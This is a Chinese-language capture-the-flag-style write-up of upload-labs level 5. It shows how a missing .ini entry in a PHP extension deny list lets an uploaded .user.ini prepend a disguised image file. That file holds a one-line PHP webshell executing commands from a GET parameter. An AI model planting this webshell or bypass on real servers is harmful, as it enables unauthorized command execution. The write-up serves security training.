Upload-Lab第五關:如何巧妙利用.user.ini配置文件繞過黑名單驗證
關卡介紹
upload-lab是一個用于練習文件上傳漏洞的演練平臺。在第五關中,我們將探索如何利用 .user.ini 文件包含漏洞來攻破這一關卡。此關卡的核心在于利用PHP的 user_ini文件特性繞過安全檢查,最終實現惡意代碼執行。
以下第5關的核心代碼:
is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//刪除文件名末尾的點
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //轉換為小寫
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上傳出錯!';
}
} else {
$msg = '此文件類型不允許上傳!';
}
} else {
$msg = UPLOAD_PATH . '文件夾不存在,請手工創建!';
}
}
在觀察源碼后,發現源碼中將所有可解析的文件后綴名都明確列出,包括大小寫轉換、空格和點號等處理。因此,無法正常上傳PHP類文件,并且 .htaccess文件的上傳也被拒絕。然而,通過仔細檢查,發現有兩個后綴名沒有被限制,它們是 .php7和 .ini。
關于user.ini
從 PHP 5.3.0 開始,PHP 支持每個目錄使用 .user.ini 文件,這類似于 Apache 的 .htaccess 文件。這種文件只會被 CGI/FastCGI 模式的 PHP 處理,因此 PECL 的 htscanner 擴展就不再需要了。如果你使用 Apache 服務器,可以通過 .htaccess 文件實現相同的效果。
除了主配置文件 php.ini 之外,PHP 還會在每個目錄中查找 .user.ini 文件,從執行的 PHP 文件所在目錄一直向上查找,直到找到 web 根目錄(由 $_SERVER['DOCUMENT_ROOT'] 指定)。如果 PHP 文件在 web 根目錄之外,只會掃描該目錄。
在 .user.ini 文件中,只能使用具有 PHP_INI_PERDIR和PHP_INI_USER 模式的配置指令。
有兩個新的配置指令控制 .user.ini 文件的使用:
- user_ini.filename:設置 PHP 在每個目錄中查找的文件名。如果設置為空字符串,PHP 就不會查找這些文件。默認值是 .user.ini。
- user_ini.cache_ttl:控制重新讀取 .user.ini 文件的時間間隔。默認是 300 秒(5 分鐘)。
.user.ini 文件中的配置會像 php.ini 中的配置一樣被 PHP 處理,這可能會導致文件解析漏洞。要觸發 .user.ini 解析漏洞,需要滿足以下三個條件:
- 服務器使用PHP作為腳本語言。
- 服務器運行在 CGI/FastCGI 模式下。
- 上傳目錄中有可執行的PHP文件。
解法步驟
(1) 編寫 .user.ini 文件
首先,我們需要創建一個 .user.ini 文件,以指示服務器在每個請求前包含我們的 666.jpg 文件。創建一個名為 .user.ini 的文件,內容如下:
auto_prepend_file=666.jpg
該配置將使得 666.jpg在每個PHP請求前自動包含。
(2) 編寫惡意 PHP文件
接下來 ,我們需要一個包含惡意代碼的PHP文件。這個文件將在 .user.ini 被解析后自動被包含并執行。創建一個名為 666.jpg 的文件,內容如下 :
<?phpecho shell_exec($_GET['pass']); ?>
(3) 上傳文件
先將 .user.ini 文件上傳到服務器,接著,再將666.jpg上傳到服務器。
user_ini文件受到user_ini.cache_ttl這個參數影響,這里有兩個選擇:
- 慢慢的等候5分鐘,再去訪問
- 直接進去修改php-ini配置文件
把這里的300秒(即默認等5分鐘)改為10:
修改后保存php.ini文件并重啟服務,靜心等候10秒后再進行下一步操作。
(4) 訪問并執行
根據關卡5的提示,upload目錄中存在一個readme.php,如下圖所示:
提示
我通過訪問這個readme.php文件,去觸發自己上傳的腳本文件。該請求將執行 id 命令,并顯示當前用戶詳細信息。如圖所示:
webshell執行成功
總結
在upload-lab的第五關中,我們利用 .user.ini文件的特性,成功繞過了服務器的安全檢查并執行了惡意代碼。這種攻擊方式主要依賴于對 PHP 配置文件的理解和巧妙利用,為安全研究人員提供了一個有趣且實用的學習案例。
推薦閱讀:
《Upload-Lab第二關:如何巧妙繞過MIME類型過濾?》